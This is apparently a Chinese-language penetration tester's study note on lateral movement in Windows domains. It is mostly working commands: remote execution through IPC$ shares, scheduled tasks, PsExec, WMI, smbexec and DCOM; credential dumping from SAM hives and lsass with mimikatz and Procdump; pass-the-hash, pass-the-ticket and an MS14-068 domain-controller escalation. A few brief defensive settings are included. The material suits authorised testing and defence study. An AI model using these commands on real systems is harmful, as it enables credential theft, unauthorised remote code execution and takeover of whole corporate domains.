内网安全:域内横向移动

  • 2021 年 9 月 30 日
  • 筆記

横向移动原理

在渗透测试中拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH(凭据传递)的方法,将散列值或者明文密码传送到目标主机进行验证,与目标主机建立连接后,可以使用相关方法在远程Windows操作系统中执行命令

在实际的网络环境中,针对此类情况,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御

 

IPC远程连接及相关命令

原理

IPC共享命名管道,为了实现进程间通信而开放命名的管道。IPC可以通过验证用户和密码获取相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过IPC可以与目标机器建立连接。利用这个连接不仅可以访问目标机器中的文件,进行上传下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息

利用条件

  • 开启139、445端口
  • 管理员开启默认共享

 

使用Windows自带的工具获取远程主机信息

建立删除

建立一个ipc

net use \\192.168.1.3\ipc$ "密码" /user:账号

net use 查看已经建立的连接

 

删除ipc连接

net use \\192.168.1.3\ipc$ /del 

  

 dir命令

建立ipc连接后列出远程主机中的文件

dir \\ip地址\c$

 还有一种方法更便捷

将目标主机的c盘映射到本地z盘

net use z: \\192.168.1.3\c$

 

tasklist任务

使用tasklist命令的/S(IP地址)、/U(账号)、/P(密码)参数列出远程主机上运行的进程

tasklist /S 192.168.1.3 /U user /P password

 

at命令计划任务

(1)首先使用net time确定远程主机当前系统时间

net time \\192.168.1.3

(2)使用copy命令将payload文件复制到远程目标机器中

copy calc.bat \\192.168.1.3\c$

(3)使用at创建计划任务

at \\192.168.1.3 13:56 C:\calc.bat

等待时间到了就会自动执行

(4)使用at远程执行命令

先将执行结果写入本地文本文件

at \\192.168.1.3 14:09 cmd.exe /c "ipconfig >C:/1.txt"

使用type读取

 

 (5)清除at记录

at \\192.168.1.3 3 /delete  //ip加计划任务的id

 

schtasks命令计划任务

win2008及之后的版本的操作系统已经将at命令废弃了,于是攻击者开始用schtasks代替at命令 

在远程主机创建一个名为test的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat,启动权限为System

schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\calc.bat /ru system /f

 使用schtasks命令时若已经建立了ipc连接则不需要输密码,若没建立

/u:账号

/p:密码

或者创建定时任务

schtasks /create /s 192.168.1.3 /tn test /sc once /st 17:07 /tr c:\calc.bat /ru system /f /u administrator /p Lirenyu579  

Schtasks命令详解

 

  

Windows散列值获取分析

 Windows操作系统中的密码一般由两部分组成,一部分为LM Hash ,另一部分为NTLM Hash。

LM Hash本质是DES加密,较易破解,但为了保证系统的兼容性,Windows只是将LM Hash禁用了,从win vista和win2008版本开始默认禁用。如果LM Hash被禁用,攻击者抓取的LM Hash通常为:aad3b435b51404eeaad3b435b51404ee

NTLM Hash基于MD4加密,个人版windows vista。服务器版win2003之后的认证方式都是NTLM Hash

 单机密码抓取与防范

 想要抓取散列值或密码需要system权限

散列值和其他安全验证信息都保存在sam文件中。lsass.exe进程用于实现windows的安全策略,可以使用工具将散列值和密码从内存中的lsass.exe进程或sam文件导出。sam文件保存在windows/system32/config,该文件是锁定的不可复制。但在渗透测试中可以等关闭windows系统后,使用PE盘进入文件管理环境,直接复制sam文件

 

通过SAM和System文件抓取密码

(1)首先无工具导出sam文件

reg save hklm\sam sam.hive
reg save hklm\system system.hive

 

 (2)使用mimikatz读取获得NTLM Hash

将刚刚导出的文件和mimiKatz放在同一目录下,运行mimikatz

lsadump::sam /sam:sam.hive /system:system.hive

 

使用mimikatz在线读取sam文件

在mimikatz目录打开命令行

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

 

 

使用mimikatz离线读取lsass.dmp文件

(1)使用Procdump导出lsass.dmp文件

Procdump是微软官方的 工具,可在命令行将lsass导出,且杀软不会拦截

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

 (2)使用mimikatz导出lsass.dmp文件中的密码散列值

导入lsass.dmp文件

mimikatz.exe "sekurlsa::minidump lsass.DMP"

 (3)导出密码散列值

sekurlsa::logonPasswords full

 

使用PowerShell对散列值进行Dump操作

使用Nishang中的Get-PassHashes.ps1

先导入nishang

Import-Module .\nishang.psm1

 

 

单机密码抓取防范

Wdigest防止明文密码泄露

微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。Windows server2012以上默认关闭。  

开启Wdigest  Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t Reg_DWORD /d 1 /f

关闭Wdigest  Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t Reg_DWORD /d 0 /f

 查询

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential  

设置了之后,使用mimikatz就只能抓取NTLM Hash,不能获取明文密码  

 

设置Active Directory 2012 R2功能级别 

windows server 2012新增了一个名为受保护的用户的用户组,只要将用户放入改组,攻击者就无法使用mimikatz等工具抓取密码及散列值

 

 

防御mimikatz攻击

mimikatz在抓取密码及散列值时需要使用Debug权限,因为mimikatz需要与lsass进程进行交互,如果没有debug权限就不能读取lsass。

因此可以将拥有debug权限的管理员从administrators组中删除,mimikatz无法获取debug权限将无法使用

 

 

哈希传递攻击(PTH、PTK)

在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码,因此如果攻击者获取了一台计算机的NTLM Hash值,就可以通过哈希传递攻击的方式登陆到内网中的其他机器

使用NTLM Hash进行哈希传递攻击

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hacke /ntlm:3f57163975979b7a85ff54a641a63b2d"

 列出域控制器c盘的内容

dir \\dc\c$

 

使用AES-256密钥进行哈希传递攻击

使用mimikatz抓取AES-256密钥

privilege::debug
sekurlsa::ekeys

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hacke /aes256:00efd5d3f7e68e667fbc16d1691270faa6ca32c8bb6b0516ec602b7205fb4110"

 但是将密钥导入之后仍然不能访问远程主机。这是因为必须要在目标机器上安装KB2871997,才可以通过aes-256横向移动

  

 

票据传递攻击(PTT)

mimkatz导出票据

使用mimikatz将内存中的票据导出

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

 当前目录会出现多个服务的票据文件

使用mimikatz清除内存中的票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

将票据文件注入内存,选择@krbtgt文件

mimikatz "kerberos::ptt "C:\Users\administrator.WIN-2008\Desktop\x64\[0;3e4][email protected]"

mimikatz "kerberos::ptt "C:\Users\testuser\Desktop\x64\[0;123ff2][email protected]"

 但这里我没成功,没有administrator的票据。后面试了一下如果登陆administrator用户可以直接访问远程dc,再次切换回来低权限的用户testuer之后,拿到了administrator的票据,也成功访问了dc。但这里还是需要管理员的权限来导出票据

 

利用ms14-068漏洞 

这种方法不需要管理员的权限就能实现普通用户直接获取域控system权限  

首先whoami /user 查看sid

 第二步用mimikatz清除票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

或者cmd清除

klist purge  \\清除
klist        \\查看

第三步利用ms14-068生成TGT数据

 ms14-068.exe -u域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

ms14-068.exe -u [email protected] -s S-1-5-21-954094320-202977030-1482179831-1105 -d 192.168.1.1 -p xxxxxxxx

 第四步用mimikatz将生成的票据注入内存

kerberos::ptc C:\Users\testuser\Desktop\[email protected]

 这里我的域控版本比较高应该是打了补丁的,所以没成功。

  

PsExec的使用  

Psexec起初用于大批量Windows主机的运维,在域环境下效果很好。但攻击者渐渐开始使用PsExec通过命令行环境与目标机器连接,甚至控制目标机器,且不需要通过远程桌面协议进行图形化控制,降低了恶意操作被管理员发现的可能性。(PsExec是windows提供的工具,所以杀软将其列在白名单中)

PsTools工具包中的PsExec

在建立了ipc$(administrator)的情况下执行如下命令,获取System权限的shell

PsExec.exe -accepteula -s \\192.168.1.3 cmd.exe

-accepteula  确认参数,使用该参数不会弹出确认框

-s  以system权限运行,获得system权限的交互式shell,否则就是administrator权限

若没建立ipc$连接,可以使用-u -p参数连接 

PsExec.exe -accepteula -s \\192.168.1.3 -u administrator -p admini!@# cmd.exe

  

Metasploit中的PsExec

 使用第九个 exploit/windows/smb/psexec  

show options  //查看参数
set rhost 192.168.200.24 //ip
set smbuser administrator  //账户
set smbpass admin!@#  //密码

返回system权限 

 

WMI的使用

WMI全名 Windows Management Instrumentation 。WMI由一系列工具组成,可以在本地或远程管理计算机系统。

PsExec在内网被严格监控,很多反病毒的厂商将PsExec放入黑名单,于是攻击者就开始利用WMI进行横向移动,并且使用wmiexec进行横向移动的时候,Windows操作系统默认不会将WMI的操作记录在日志中。

基本命令

命令行执行命令,使用目标系统的cmd.exe 执行ipconfig将执行结果保存在ip.txt

wmic /node:192.168.1.3 /user administrator /password:admin!@# process call create "cmd.exe /c ipconfig >c:\ip.txt"

 接着建立ipc$连接,使用type命令读取执行结果

 接下来就可以使用WMIC远程执行命令了,但如果目标开启了防火墙,wmic将无法进行连接,此外,wmic命令没有回显,需要使用ipc$和type命令来读取信息。如果wmic执行的是恶意程序,将不会留下日志

 

impacket工具包中的wmiexec

在KALI下载安装impacket包

wmiexec.py administrator:[email protected]

 报了个没模块的错误

解决方法:回到目录安装

setup.py install

 就可以运行啦

该方法主要在从Linux向Windows进行横向渗透测速使用

 

windows也有impacket工具包,都是打包好的exe文件,在windows下进行横向:

wmiexec.exe administrator:[email protected]

 

Invoke-WmiCommand

Invoke-WmiCommand.ps1脚本包含在PowerSploit工具中。通过powershell调用WMI来远程执行命令

将模块导入后执行命令

//目标系统用户名
$User="hacke/administrator"
//目标系统密码
$Password=ConvertTO-SecureString -String "a123456#" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//远程执行命令
$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.3
//将执行结果输出到屏幕
$Remote.PayloadOutput

 看起来用不了。。。

 

smbexec使用

smbexec可以通过文件共享在远程系统中执行命令

impacket工具包中的smbexec.py

smbexec.py hacke/administrator:[email protected]

 

 DOM在远程系统中的使用

 DCOM分布式组件对象模型,是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够像网络中的另一台计算机上个的服务器程序对象发送请求

 通过本地DCOM执行命令

获取DCOM程序列表

Get-CimInstance默认只在PowerShell3.0以上版本存在(win server2012以上)

Get-CimInstance Win32_DCOMApplication

 

 

 2012以下可以以下命令代替

Get-WmiObject -Namespace ROOT\CIMV2 -Class WIN32_DCOMApplication

 

使用DCOM执行任意命令

$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minized")

 执行完毕,将以当前会话执行Administrator权限的calc.exe

如果攻击者把计算机程序换成恶意的Payload,就会对系统安全造成威胁

  

使用DCOM在远程机器上执行命令

通过$ipc连接远程计算机

net use \\192.168.1.2 "Admin111" /user:administrator

执行命令

调用MMC20.Application

建立$ipc后,远程系统运行calc.exe  

$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.2"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")

 

 

或者调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

$com=[type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.2")
$obj=[System.Activator]::CreateInstance($com)
$item=$obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

 

这两种方法均适用于Windows7-10、Windows server 2008-2016